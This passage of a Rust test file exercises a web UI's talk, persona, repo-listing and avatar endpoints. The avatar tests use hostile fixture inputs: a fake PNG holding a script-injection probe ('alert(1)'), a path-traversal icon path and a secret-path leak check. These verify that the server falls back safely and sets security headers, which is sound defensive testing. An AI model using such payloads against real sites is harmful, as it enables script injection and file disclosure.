9244 let rev = f.get("/api/settings").await.json()["revision"]
9245 .as_str()
9246 .expect("revision")
9247 .to_owned();
9248 for roles in [
9249 serde_json::json!({ "judges": ["nope"] }),
9250 serde_json::json!({ "reviewers": ["b"] }),
9251 serde_json::json!({ "bogus": ["a"] }),
9252 ] {
9253 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
9254 let res = f.put("/api/settings/roles", &body).await;
9255 assert_eq!(res.status, 422, "{roles}: {}", res.body);
9256 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
9257 assert_eq!(
9258 std::fs::read_to_string(&machine).expect("machine"),
9259 machine_text
9260 );
9261 }
9262 }
9263
9264 #[tokio::test]
9265 async fn repos_list_returns_name_and_path_for_every_configured_root() {
9266 let tmp = TempDir::new().expect("tempdir");
9267 let repo = tmp.path().join("repo");
9268 std::fs::create_dir_all(&repo).expect("repo dir");
9269 let root = tmp.path().join("root");
9270 make_checkout(&root, "github.com", "yukimemi", "magi");
9271 std::fs::write(
9272 repo.join("magi.toml"),
9273 format!(
9274 "[repos]\nroots = [{:?}]\n",
9275 root.to_string_lossy().into_owned()
9276 ),
9277 )
9278 .expect("write magi.toml");
9279
9280 let f = Fixture::with_repo(repo).await;
9281 let res = f.get("/api/repos").await;
9282 assert_eq!(res.status, 200, "{}", res.body);
9283 let list = res.json();
9284 let repos = list.as_array().expect("an array");
9285 assert_eq!(repos.len(), 1);
9286 assert_eq!(repos[0]["name"], "yukimemi/magi");
9287 assert!(
9288 repos[0]["path"]
9289 .as_str()
9290 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
9291 "{list}"
9292 );
9293 }
9294
9295 #[tokio::test]
9296 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
9297 let tmp = TempDir::new().expect("tempdir");
9298 let repo = tmp.path().join("repo");
9299 std::fs::create_dir_all(&repo).expect("repo dir");
9300 let root = tmp.path().join("root");
9301 make_checkout(&root, "github.com", "yukimemi", "magi");
9302 std::fs::write(
9303 repo.join("magi.toml"),
9304 format!(
9305 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
9306 root.to_string_lossy().into_owned()
9307 ),
9308 )
9309 .expect("write magi.toml");
9310
9311 let f = Fixture::with_repo(repo).await;
9312 let first = f.get("/api/repos").await;
9313 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
9314
9315 make_checkout(&root, "github.com", "yukimemi", "rvpm");
9318 let second = f.get("/api/repos").await;
9319 assert_eq!(
9320 second.json().as_array().map(Vec::len),
9321 Some(1),
9322 "a fresh cache must not rescan inside the TTL"
9323 );
9324
9325 let refreshed = f.get("/api/repos?refresh=1").await;
9326 assert_eq!(
9327 refreshed.json().as_array().map(Vec::len),
9328 Some(2),
9329 "an explicit refresh must rescan even inside the TTL"
9330 );
9331 }
9332
9333 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
9339
9340 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
9344 let tmp = TempDir::new().expect("tempdir");
9345 let repo = tmp.path().join("repo");
9346 std::fs::create_dir_all(&repo).expect("repo dir");
9347 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9348 let f = Fixture::with_repo(repo.clone()).await;
9349 (tmp, repo, f)
9350 }
9351
9352 #[tokio::test]
9353 async fn posting_a_talk_with_remembered_choices_is_soft() {
9354 let (_tmp, _repo, f) = talk_fixture().await;
9355
9356 let good = f
9357 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
9358 .await;
9359 assert_eq!(good.status, 201, "{}", good.body);
9360 assert_eq!(good.json()["persona"], "rei");
9361
9362 let stale = f
9364 .post(
9365 "/api/talks",
9366 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
9367 )
9368 .await;
9369 assert_eq!(stale.status, 201, "{}", stale.body);
9370 let v = stale.json();
9371 assert_eq!(v["implementers"], 1);
9372 assert_ne!(v["persona"], "nobody");
9373 let typed = f
9374 .post(
9375 "/api/talks",
9376 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
9377 )
9378 .await;
9379 assert_eq!(typed.status, 201, "{}", typed.body);
9380
9381 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
9383 assert!(
9384 !strict.status.to_string().starts_with('2'),
9385 "{}",
9386 strict.body
9387 );
9388 }
9389
9390 #[tokio::test]
9391 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
9392 let (_tmp, _repo, f) = talk_fixture().await;
9393
9394 let opened = f.post("/api/talks", None).await;
9397 assert_eq!(opened.status, 201, "{}", opened.body);
9398 let body = opened.json();
9399 assert_eq!(body["status"], "open");
9400 assert_eq!(
9401 body["turns"].as_array().unwrap().len(),
9402 0,
9403 "opening takes no agent turn: there is nothing yet to answer"
9404 );
9405
9406 let also_opened = f.post("/api/talks", Some("{}")).await;
9408 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
9409
9410 let listed = f.get("/api/talks").await.json();
9411 assert_eq!(listed.as_array().unwrap().len(), 2);
9412 }
9413
9414 #[tokio::test]
9415 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
9416 let tmp = TempDir::new().expect("tempdir");
9417 let repo = tmp.path().join("repo");
9418 std::fs::create_dir_all(&repo).expect("repo dir");
9419 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
9420 std::fs::write(
9421 repo.join("magi.toml"),
9422 format!("{MOCK_AGENT_TOML}\n{second}"),
9423 )
9424 .expect("write magi.toml");
9425 let home = TempDir::new().expect("temp home");
9426 let talks = Talks::at(home.path().join("talks"));
9427 let ui = Arc::new(
9428 Ui::new(
9429 Queue::at(home.path().join("queue")),
9430 Questions::at(home.path().join("questions")),
9431 talks.clone(),
9432 home.path().join("runs"),
9433 home.path().to_path_buf(),
9434 repo.clone(),
9435 )
9436 .with_worktrees_root(home.path().join("wt")),
9437 );
9438 let cfg = config_for(&repo).await.expect("discover config");
9439 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9440 let id = talk.id.clone();
9441 let call = |agent: &str| {
9442 talk_agent(
9443 State(Arc::clone(&ui)),
9444 Path(id.clone()),
9445 Json(TalkAgent {
9446 agent: agent.to_owned(),
9447 }),
9448 )
9449 };
9450
9451 let unknown = call("nobody").await.expect_err("unknown agent");
9452 assert_eq!(
9453 unknown.status,
9454 StatusCode::BAD_REQUEST,
9455 "{}",
9456 unknown.message
9457 );
9458
9459 {
9460 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9463 let busy = call("second").await.expect_err("busy talk");
9464 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9465 assert!(
9466 busy.message.contains("a talk turn is running"),
9467 "{}",
9468 busy.message
9469 );
9470 drop(guard);
9471 }
9472 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9473
9474 let Json(view) = call("second").await.expect("switch");
9475 assert_eq!(view.talk.agent, "second");
9476 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9477 let saved = talks.get(&id).expect("reload");
9478 assert_eq!(saved.agent, "second");
9479 assert_eq!(saved.turns.len(), 1);
9480
9481 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9482 .await
9483 .expect("detail");
9484 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9485 assert_eq!(roster, ["mock", "second"]);
9486
9487 let mut closed = talks.get(&id).expect("reload");
9488 talk::close(&mut closed, &talks).expect("close");
9489 let refused = call("mock").await.expect_err("closed talk");
9490 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9491 assert!(
9492 refused.message.contains("takes no more turns"),
9493 "{}",
9494 refused.message
9495 );
9496 }
9497
9498 #[tokio::test]
9499 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
9500 let tmp = TempDir::new().expect("tempdir");
9501 let repo = tmp.path().join("repo");
9502 std::fs::create_dir_all(&repo).expect("repo dir");
9503 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9504 let home = TempDir::new().expect("temp home");
9505 let talks = Talks::at(home.path().join("talks"));
9506 let ui = Arc::new(
9507 Ui::new(
9508 Queue::at(home.path().join("queue")),
9509 Questions::at(home.path().join("questions")),
9510 talks.clone(),
9511 home.path().join("runs"),
9512 home.path().to_path_buf(),
9513 repo.clone(),
9514 )
9515 .with_worktrees_root(home.path().join("wt")),
9516 );
9517 let cfg = config_for(&repo).await.expect("discover config");
9518 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9519 let id = talk.id.clone();
9520 let call = |n: u8| {
9521 talk_implementers(
9522 State(Arc::clone(&ui)),
9523 Path(id.clone()),
9524 Json(TalkImplementers { implementers: n }),
9525 )
9526 };
9527
9528 for bad in [0u8, 4] {
9529 let e = call(bad).await.expect_err("out of range");
9530 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
9531 }
9532 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
9533
9534 {
9535 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9538 let busy = call(2).await.expect_err("busy talk");
9539 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9540 assert!(
9541 busy.message.contains("a talk turn is running"),
9542 "{}",
9543 busy.message
9544 );
9545 drop(guard);
9546 }
9547
9548 let Json(view) = call(3).await.expect("switch");
9549 assert_eq!(view.talk.implementers, 3);
9550 assert!(talks.get(&id).expect("reload").implementers_dirty);
9551
9552 let mut closed = talks.get(&id).expect("reload");
9553 talk::close(&mut closed, &talks).expect("close");
9554 let e = call(2).await.expect_err("closed talk");
9555 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
9556 assert!(e.message.contains("takes no more turns"), "{}", e.message);
9557 }
9558
9559 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
9561 let tmp = TempDir::new().expect("tempdir");
9562 let repo = tmp.path().join("repo");
9563 std::fs::create_dir_all(&repo).expect("repo dir");
9564 std::fs::write(
9565 repo.join("magi.toml"),
9566 format!("{MOCK_AGENT_TOML}\n{extra}"),
9567 )
9568 .expect("write magi.toml");
9569 let home = TempDir::new().expect("temp home");
9570 let talks = Talks::at(home.path().join("talks"));
9571 let ui = Arc::new(
9572 Ui::new(
9573 Queue::at(home.path().join("queue")),
9574 Questions::at(home.path().join("questions")),
9575 talks.clone(),
9576 home.path().join("runs"),
9577 home.path().to_path_buf(),
9578 repo.clone(),
9579 )
9580 .with_worktrees_root(home.path().join("wt")),
9581 );
9582 let cfg = config_for(&repo).await.expect("discover config");
9583 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9584 (tmp, home, ui, talk.id, repo)
9585 }
9586
9587 async fn avatar(
9589 ui: &Arc<Ui>,
9590 id: &str,
9591 persona: Option<&str>,
9592 builtin: bool,
9593 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
9594 let res = talk_avatar(
9595 State(Arc::clone(ui)),
9596 Path(id.to_owned()),
9597 Query(AvatarQuery {
9598 persona: persona.map(str::to_owned),
9599 builtin: builtin.then(|| "1".to_owned()),
9600 }),
9601 )
9602 .await
9603 .expect("an avatar is never an error response");
9604 let h = res.headers();
9605 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
9606 let nosniff = h
9607 .get(header::X_CONTENT_TYPE_OPTIONS)
9608 .is_some_and(|v| v == "nosniff");
9609 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
9610 let status = res.status();
9611 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
9612 .await
9613 .expect("body")
9614 .to_vec();
9615 (status, ct, nosniff, csp, body)
9616 }
9617
9618 fn tiny_png() -> Vec<u8> {
9619 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
9620 b.extend_from_slice(&[0u8; 32]);
9621 b
9622 }
9623
9624 #[tokio::test]
9625 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
9626 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
9627 for p in [
9628 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
9629 ] {
9630 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
9631 assert_eq!(status, StatusCode::OK, "{p}");
9632 assert_eq!(ct, "image/svg+xml", "{p}");
9633 assert!(nosniff && csp, "{p}");
9634 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
9635 }
9636 let own = avatar(&ui, &id, None, false).await;
9638 let default = avatar(&ui, &id, Some("default"), false).await;
9639 assert_eq!(own.4, default.4);
9640 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
9641 assert_eq!(unknown.1, "image/svg+xml");
9642 }
9643
9644 #[tokio::test]
9645 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
9646 let dir = TempDir::new().expect("icons");
9647 let good = dir.path().join("good.png");
9648 std::fs::write(&good, tiny_png()).unwrap();
9649 let spoof = dir.path().join("spoof.png");
9650 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
9651 let big = dir.path().join("big.png");
9652 let mut bytes = tiny_png();
9653 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
9654 std::fs::write(&big, bytes).unwrap();
9655 let missing = dir.path().join("missing.png");
9656 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
9657 let extra = format!(
9658 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
9659 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
9660 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
9661 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
9662 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
9663 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
9664 uri(&good),
9665 uri(&spoof),
9666 uri(&big),
9667 uri(&missing),
9668 );
9669 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
9670
9671 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
9672 assert_eq!(
9673 (status, ct.as_str(), nosniff),
9674 (StatusCode::OK, "image/png", true)
9675 );
9676 assert_eq!(body, tiny_png());
9677 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
9678 assert_eq!(ct, "image/png", "data URI");
9679
9680 for p in ["misato", "asuka", "shinji", "magi"] {
9681 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
9682 assert_eq!(
9683 (status, ct.as_str(), csp),
9684 (StatusCode::OK, "image/svg+xml", true),
9685 "{p}"
9686 );
9687 assert!(body.starts_with(b"<svg"), "{p}");
9688 }
9689 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
9691 assert_eq!(ct, "image/svg+xml");
9692 }
9693
9694 #[tokio::test]
9695 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
9696 let oversized = format!(
9697 "data:image/png;base64,{}",
9698 "A".repeat(persona_icon::ICON_MAX_BYTES)
9699 );
9700 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
9701 let extra = format!(
9702 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
9703 );
9704 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
9705 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9706 .await
9707 .expect("detail with invalid icon");
9708 assert!(detail.personas.iter().any(|p| p.id == "custom"));
9709 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
9710 assert_eq!(status, StatusCode::OK);
9711 assert_eq!(ct, "image/svg+xml");
9712 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
9713 let Json(view) = talk_persona(
9714 State(Arc::clone(&ui)),
9715 Path(id.clone()),
9716 Json(TalkPersona {
9717 persona: "custom".into(),
9718 }),
9719 )
9720 .await
9721 .expect("persona switch with invalid icon");
9722 assert_eq!(view.talk.persona, "custom");
9723 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
9724 }
9725 }
9726
9727 #[tokio::test]
9728 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
9729 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
9730 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
9731 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
9732 assert_eq!(
9733 (status, ct.as_str(), nosniff, csp),
9734 (StatusCode::OK, "image/svg+xml", true, true)
9735 );
9736 }
9737
9738 #[tokio::test]
9739 async fn the_talk_view_carries_server_built_avatar_urls_only() {
9740 let (_t, _h, ui, id, _repo) =
9741 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
9742 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9743 .await
9744 .expect("detail");
9745 let json = serde_json::to_string(&detail).unwrap();
9746 assert!(
9747 !json.contains("secret"),
9748 "the icon setting must not leak: {json}"
9749 );
9750 assert!(
9751 detail
9752 .view
9753 .persona_avatar
9754 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
9755 );
9756 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
9757 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
9758 assert!(rei.avatar.contains("persona=rei&v="));
9759 assert_ne!(
9760 rei.avatar.split("&v=").nth(1),
9761 plain.avatar.split("&v=").nth(1)
9762 );
9763 }
9764
9765 #[tokio::test]
9766 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9767 let tmp = TempDir::new().expect("tempdir");
9768 let repo = tmp.path().join("repo");
9769 std::fs::create_dir_all(&repo).expect("repo dir");
9770 std::fs::write(
9771 repo.join("magi.toml"),
9772 format!(
9773 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9774 ),
9775 )
9776 .expect("write magi.toml");
9777 let home = TempDir::new().expect("temp home");
9778 let talks = Talks::at(home.path().join("talks"));
9779 let ui = Arc::new(
9780 Ui::new(
9781 Queue::at(home.path().join("queue")),
9782 Questions::at(home.path().join("questions")),
9783 talks.clone(),
9784 home.path().join("runs"),
9785 home.path().to_path_buf(),
9786 repo.clone(),
9787 )
9788 .with_worktrees_root(home.path().join("wt")),
9789 );
9790 let cfg = config_for(&repo).await.expect("discover config");
9791 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9792 let id = talk.id.clone();
9793 let call = |persona: &str| {
9794 talk_persona(
9795 State(Arc::clone(&ui)),
9796 Path(id.clone()),
9797 Json(TalkPersona {
9798 persona: persona.to_owned(),
9799 }),
9800 )
9801 };
9802
9803 let unknown = call("nobody").await.expect_err("unknown persona");
9804 assert_eq!(
9805 unknown.status,
9806 StatusCode::BAD_REQUEST,
9807 "{}",
9808 unknown.message
9809 );
9810
9811 {
9812 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9815 let busy = call("rei").await.expect_err("busy talk");
9816 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9817 assert!(
9818 busy.message.contains("a talk turn is running"),
9819 "{}",
9820 busy.message
9821 );
9822 drop(guard);
9823 }
9824 assert_eq!(talks.get(&id).expect("reload").persona, "");
9825
9826 let Json(view) = call("gendo").await.expect("switch to a configured persona");
9827 assert_eq!(view.talk.persona, "gendo");
9828 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9829
9830 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9831 .await
9832 .expect("detail");
9833 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9834 assert_eq!(ids.first(), Some(&"default"));
9835 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9836
9837 let Json(view) = call("default").await.expect("back to default");
9838 assert_eq!(view.talk.persona, "");
9839
9840 let mut closed = talks.get(&id).expect("reload");
9841 talk::close(&mut closed, &talks).expect("close");
9842 let refused = call("rei").await.expect_err("closed talk");
9843 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9844 assert!(
9845 refused.message.contains("takes no more turns"),
9846 "{}",
9847 refused.message
9848 );
9849 }
9850
9851 #[tokio::test]
9852 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9853 let f = Fixture::start().await;
9854 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9855 let queue = f.queue();
9856 let mut mine = Task::new(
9857 "rename the loader".to_owned(),
9858 "rename the loader".to_owned(),
9859 PathBuf::from("/repo/magi"),
9860 Source::Agent {
9861 run: talk_id.clone(),
9862 node: "chat".to_owned(),
9863 },
9864 );
9865 queue.put(&mut mine).expect("file the task");
9866 let mut theirs = Task::new(
9867 "unrelated".to_owned(),
9868 "unrelated".to_owned(),
9869 PathBuf::from("/repo/magi"),
9870 Source::Human,
9871 );
9872 queue.put(&mut theirs).expect("file the task");
9873
9874 let res = f.get(&format!("/api/talks/{talk_id}")).await;
9875 assert_eq!(res.status, 200, "{}", res.body);
9876 let body = res.json();
9877 assert_eq!(
9878 body["status"], "open",
9879 "filing a task does not close a talk"
9880 );
9881 let tasks = body["tasks"].as_array().expect("tasks array");
9882 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9883 assert_eq!(tasks[0]["id"], mine.id);
9884 }
9885
9886 #[tokio::test]
9887 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9888 let (_tmp, _repo, f) = talk_fixture().await;
9889 let id = f.post("/api/talks", None).await.json()["id"]
9890 .as_str()
9891 .expect("id")
9892 .to_owned();
9893
9894 let res = f
9895 .post(
9896 &format!("/api/talks/{id}/say"),
9897 Some(r#"{"text":"what does the queue module do?"}"#),
9898 )
9899 .await;
9900 assert_eq!(res.status, 202, "{}", res.body);
9901 let queued = res.json();
9902 let turns = queued["turns"].as_array().expect("turns array");
9903 assert_eq!(
9904 turns.len(),
9905 1,
9906 "the answer reflects only what is on disk the instant it is sent, \
9907 before the agent's turn - which can run for the whole of \
9908 `[graph] timeout_talk` - has a chance to land: {queued}"
9909 );
9910 assert_eq!(turns[0]["who"], "operator");
9911 assert_eq!(turns[0]["body"], "what does the queue module do?");
9912 assert_eq!(
9913 queued["thinking"], true,
9914 "the accepted response exposes the background turn claim: {queued}"
9915 );
9916
9917 let mut turns_after = 1;
9918 for _ in 0..SETTLE_STEPS {
9919 let detail = f.get(&format!("/api/talks/{id}")).await.json();
9920 turns_after = detail["turns"].as_array().expect("turns array").len();
9921 if turns_after == 2 {
9922 break;
9923 }
9924 tokio::time::sleep(Duration::from_millis(10)).await;
9925 }
9926 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9927 }
9928
9929 #[tokio::test]
9956 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9957 let tmp = TempDir::new().expect("tempdir");
9958 let repo = tmp.path().join("repo");
9959 std::fs::create_dir_all(&repo).expect("repo dir");
9960 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9961 let home = TempDir::new().expect("temp home");
9962 let talks = Talks::at(home.path().join("talks"));
9963 let ui = Arc::new(
9964 Ui::new(
9965 Queue::at(home.path().join("queue")),
9966 Questions::at(home.path().join("questions")),
9967 talks.clone(),
9968 home.path().join("runs"),
9969 home.path().to_path_buf(),
9970 repo.clone(),
9971 )
9972 .with_worktrees_root(home.path().join("wt")),
9973 );
9974 let cfg = config_for(&repo).await.expect("discover config");
9975
9976 for delay in 0..40u32 {
9977 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9978 let id = talk.id.clone();
9979
9980 let handler = tokio::spawn(talk_say(
9981 State(Arc::clone(&ui)),
9982 Path(id.clone()),
9983 Ok(Json(NewTalkTurn {
9984 text: "what does the queue module do?".to_owned(),
9985 attachments: Vec::new(),
9986 })),
9987 ));
9988 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9989 handler.abort();
9990 let _ = handler.await;
9993
9994 let mut turns = 0;
9995 for _ in 0..SETTLE_STEPS {
9996 if let Ok(fresh) = talks.get(&id) {
9997 turns = fresh.turns.len();
9998 if turns != 1 {
9999 break;
10000 }
10001 }
10002 tokio::time::sleep(Duration::from_millis(10)).await;
10003 }
10004 assert_ne!(
10005 turns, 1,
10006 "delay {delay}: talk {id} recorded the operator's turn but \
10007 the agent never answered - the reply task was never \
10008 started after the handler future was dropped"
10009 );
10010 }
10011 }
10012
10013 #[tokio::test]
10058 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
10059 let tmp = TempDir::new().expect("tempdir");
10060 let repo = tmp.path().join("repo");
10061 std::fs::create_dir_all(&repo).expect("repo dir");
10062 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10063 let home = TempDir::new().expect("temp home");
10064 let talks = Talks::at(home.path().join("talks"));
10065 let ui = Arc::new(
10066 Ui::new(
10067 Queue::at(home.path().join("queue")),
10068 Questions::at(home.path().join("questions")),
10069 talks.clone(),
10070 home.path().join("runs"),
10071 home.path().to_path_buf(),
10072 repo.clone(),
10073 )
10074 .with_worktrees_root(home.path().join("wt")),
10075 );
10076 let cfg = config_for(&repo).await.expect("discover config");
10077
10078 for attempt in 0..3u32 {
10079 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10080 let id = talk.id.clone();
10081 let turn_guard = ui
10084 .begin_talk_turn(&id)
10085 .expect("claim the turn")
10086 .expect("a fresh talk owes nobody a turn");
10087
10088 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
10089 let (release_tx, release_rx) = std::sync::mpsc::channel();
10090 ui.set_busy_queue_gate(BusyQueueGate {
10091 reached: reached_tx,
10092 release: release_rx,
10093 });
10094
10095 let handler = tokio::spawn(talk_say(
10096 State(Arc::clone(&ui)),
10097 Path(id.clone()),
10098 Ok(Json(NewTalkTurn {
10099 text: "what does the queue module do?".to_owned(),
10100 attachments: Vec::new(),
10101 })),
10102 ));
10103
10104 tokio::time::timeout(Duration::from_secs(5), reached_rx)
10109 .await
10110 .unwrap_or_else(|_| {
10111 panic!(
10112 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
10113 )
10114 })
10115 .expect("the busy branch dropped the gate without using it");
10116
10117 let running = talks.get(&id).expect("reload talk");
10124 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
10125
10126 handler.abort();
10130 let _ = handler.await;
10131
10132 let _ = release_tx.send(());
10138
10139 let mut fresh = talks.get(&id).expect("reload talk");
10142 for _ in 0..SETTLE_STEPS {
10143 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
10144 break;
10145 }
10146 tokio::time::sleep(Duration::from_millis(10)).await;
10147 fresh = talks.get(&id).expect("reload talk");
10148 }
10149 assert!(
10150 fresh.pending.is_empty() && fresh.turns.len() == 2,
10151 "attempt {attempt}: talk {id} left the operator's text queued \
10152 with no drainer - the reclaimed turn was dropped along with \
10153 the handler future (pending {:?}, {} turns)",
10154 fresh.pending,
10155 fresh.turns.len()
10156 );
10157 }
10158 }
10159
10160 #[tokio::test]
10161 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
10162 let (_tmp, _repo, f) = talk_fixture().await;
10163 let id = f.post("/api/talks", None).await.json()["id"]
10164 .as_str()
10165 .expect("id")
10166 .to_owned();
10167 let store = f.talks();
10168 let mut recovered = store.get(&id).expect("opened talk");
10169 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10170 .expect("persist pending draft without a live turn");
10171
10172 let edited = f
10173 .post(
10174 &format!("/api/talks/{id}/pending/edit"),
10175 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
10176 )
10177 .await;
10178 assert_eq!(edited.status, 200, "{}", edited.body);
10179 assert!(edited.json()["thinking"].as_bool().unwrap());
10180
10181 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
10182 for _ in 0..SETTLE_STEPS {
10183 if detail["turns"].as_array().expect("turns").len() == 2 {
10184 break;
10185 }
10186 tokio::time::sleep(Duration::from_millis(10)).await;
10187 detail = f.get(&format!("/api/talks/{id}")).await.json();
10188 }
10189 let turns = detail["turns"].as_array().expect("turns");
10190 assert_eq!(
10191 turns.len(),
10192 2,
10193 "the recovered draft must run once: {detail}"
10194 );
10195 assert_eq!(turns[0]["body"], "corrected");
10196 assert_eq!(detail["pending"], "");
10197 }
10198
10199 #[tokio::test]
10200 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
10201 let tmp = TempDir::new().expect("tempdir");
10202 let repo = tmp.path().join("repo");
10203 std::fs::create_dir_all(&repo).expect("repo dir");
10204 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
10205 let f = Fixture::with_repo(repo).await;
10206 let id = f.post("/api/talks", None).await.json()["id"]
10207 .as_str()
10208 .expect("id")
10209 .to_owned();
10210 let store = f.talks();
10211 let mut recovered = store.get(&id).expect("opened talk");
10212 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10213 .expect("persist pending draft without a live turn");
10214
10215 let refused = f
10216 .post(
10217 &format!("/api/talks/{id}/say"),
10218 Some(r#"{"text":"new message"}"#),
10219 )
